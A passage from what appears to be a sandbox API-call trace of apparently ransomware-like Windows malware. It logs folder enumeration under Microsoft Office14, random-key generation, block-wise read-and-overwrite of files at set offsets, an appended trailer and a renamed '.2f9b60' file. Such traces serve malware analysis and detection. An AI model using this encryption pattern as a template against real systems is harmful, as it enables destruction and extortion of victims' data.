lpBuffer=0x1cf03ab0*, lpNumberOfBytesRead=0x26bdfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0147.971] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0xf974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0147.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0147.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce91e20 [0147.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0147.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0147.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0147.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.972] WriteFile (in: hFile=0xaac, lpBuffer=0x1ce91e20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26bdfa60, lpOverlapped=0x0 | out: lpBuffer=0x1ce91e20*, lpNumberOfBytesWritten=0x26bdfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0148.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce91e20) returned 1 [0148.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8647d0 [0148.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0148.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0148.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0148.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf03ab0) returned 1 [0148.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859dc0 [0148.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0148.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0148.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85b320 [0148.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0148.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0148.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b200) returned 1 [0148.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x148) returned 0x1cebc580 [0148.028] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.028] WriteFile (in: hFile=0xaac, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x26bdfb10, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x26bdfb10*=0x148, lpOverlapped=0x0) returned 1 [0163.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0163.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0163.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0163.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0163.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0163.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0163.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa650 [0163.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa650) returned 1 [0163.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ebf0 [0163.032] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="61") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="32") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="ff") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="e0") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="78") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="82") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="a6") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="63") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="82") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="33") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="72") returned 2 [0163.032] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="df") returned 2 [0163.033] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="40") returned 2 [0163.033] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="e9") returned 2 [0163.033] sprintf (in: _Dest=0x1cd9ec18, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.033] sprintf (in: _Dest=0x1cd9ec1a, _Format="%c%c" | out: _Dest="80") returned 2 [0163.033] RtlInitAnsiString (in: DestinationString=0x26bdfb88, SourceString="615f7c32ffcde07882a6638233b5d25f72df40e97d80" | out: DestinationString="615f7c32ffcde07882a6638233b5d25f72df40e97d80") [0163.033] RtlAnsiStringToUnicodeString (in: DestinationString=0x26bdfb58, SourceString="615f7c32ffcde07882a6638233b5d25f72df40e97d80", AllocateDestinationString=1 | out: DestinationString="615f7c32ffcde07882a6638233b5d25f72df40e97d80") returned 0x0 [0163.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8fa0 [0163.033] RtlFreeAnsiString (AnsiString="6") [0163.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebf0) returned 1 [0163.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0163.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0163.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0163.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0163.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0163.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0163.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0163.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d00) returned 1 [0163.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0163.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ca0) returned 1 [0163.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c222d0 [0163.037] wcscat (in: _Dest=0x42c222d0, _Source="615f7c32ffc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\615f7c32ffc") returned="C:\\Program Files\\Microsoft Office\\Office14\\615f7c32ffc" [0163.037] wcscat (in: _Dest=0x42c222d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\615f7c32ffc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\615f7c32ffc.2f9b60" [0163.037] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\615f7c32ffc.2f9b60", NtPathName=0x26bdfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\615f7c32ffc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b861a10 Thread: id = 393 os_tid = 0xf54 [0090.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e560 [0090.129] wcscpy (in: _Dest=0x1b86e560, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0090.129] wcscat (in: _Dest=0x1b86e560, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\" [0090.129] wcscat (in: _Dest=0x1b86e560, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*" [0090.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58510 [0090.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d9d0 [0090.366] wcscmp (_String1=".", _String2=".") returned 0 [0090.366] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.366] wcscmp (_String1="..", _String2=".") returned 1 [0090.366] wcscmp (_String1="..", _String2="..") returned 0 [0090.366] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0090.366] wcscmp (_String1="1033", _String2=".") returned 1 [0090.366] wcscmp (_String1="1033", _String2="..") returned 1 [0090.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85e890 [0090.366] wcscpy (in: _Dest=0x1b85e890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0090.366] wcscat (in: _Dest=0x1b85e890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\" [0090.366] wcscat (in: _Dest=0x1b85e890, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0097.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0097.396] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0097.396] FindClose (in: hFindFile=0x1cd9d9d0 | out: hFindFile=0x1cd9d9d0) returned 1 [0097.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58510) returned 1 [0097.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e560) returned 1 [0097.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3570) returned 1 Thread: id = 394 os_tid = 0xf58 [0090.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng")) returned 0x20 [0090.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG", dwFileAttributes=0x20) returned 1 [0090.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xad0 [0090.368] GetFileSizeEx (in: hFile=0xad0, lpFileSize=0x26e5f6c0 | out: lpFileSize=0x26e5f6c0*=559411) returned 1 [0090.368] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x8892f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.368] ReadFile (in: hFile=0xad0, lpBuffer=0x26e5f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26e5f688, lpOverlapped=0x0 | out: lpBuffer=0x26e5f640*, lpNumberOfBytesRead=0x26e5f688*=0x4, lpOverlapped=0x0) returned 1 [0090.616] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0090.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0090.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0090.616] NtQuerySystemTime (in: CurrentTime=0x26e5f580 | out: CurrentTime=0x26e5f580*=132462176964622000) returned 0x0 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x3afcf12f [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x4ab7f90b [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x15ae3b91 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x9e2f559 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x2a0b5d27 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x43094e75 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x21bb3191 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x2aa510f4 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x444a3f9b [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x78e97937 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x6f2aaca4 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x30a899a2 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x33e88b9 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x400266d0 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x49497a27 [0090.616] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x72ce310d [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x4d7ce9a1 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x36b1883 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x67742902 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x53fc52b5 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x53209bd5 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x5710d68d [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x1447b5d [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x13f18837 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x57ff04e [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x745e6e71 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x738f68e8 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x5b4b978a [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x688b3e74 [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x3461dd8c [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x42c7706e [0090.617] RtlRandomEx (in: Seed=0x26e5f570 | out: Seed=0x26e5f570) returned 0x2ab0991a [0090.626] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.626] ReadFile (in: hFile=0xad0, lpBuffer=0x1ceed250, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26e5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ceed250*, lpNumberOfBytesRead=0x26e5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.709] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0090.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0090.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f790 [0090.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f790) returned 1 [0090.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20126910 [0090.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f790 [0090.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0090.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0090.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0090.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0090.710] WriteFile (in: hFile=0xad0, lpBuffer=0x20126910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26e5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x20126910*, lpNumberOfBytesWritten=0x26e5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20126910) returned 1 [0098.658] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.658] ReadFile (in: hFile=0xad0, lpBuffer=0x1ceed250, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26e5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ceed250*, lpNumberOfBytesRead=0x26e5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.399] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0100.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0100.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f900b0 [0100.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0100.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0100.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0100.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0100.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0100.872] WriteFile (in: hFile=0xad0, lpBuffer=0x41f900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26e5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41f900b0*, lpNumberOfBytesWritten=0x26e5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f900b0) returned 1 [0147.864] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x84d33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.864] ReadFile (in: hFile=0xad0, lpBuffer=0x1ceed250, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26e5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ceed250*, lpNumberOfBytesRead=0x26e5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.984] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x84d33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0147.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0147.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42379560 [0147.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0147.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0147.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0147.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.985] WriteFile (in: hFile=0xad0, lpBuffer=0x42379560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26e5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x42379560*, lpNumberOfBytesWritten=0x26e5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0160.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42379560) returned 1 [0160.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2440 [0160.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0160.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262fc0) returned 1 [0160.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f790) returned 1 [0160.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceed250) returned 1 [0160.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85f790 [0160.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420595b0 [0160.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e810 [0160.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2780 [0160.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2780) returned 1 [0160.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a2780 [0160.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2810 [0160.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2840 [0160.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2840) returned 1 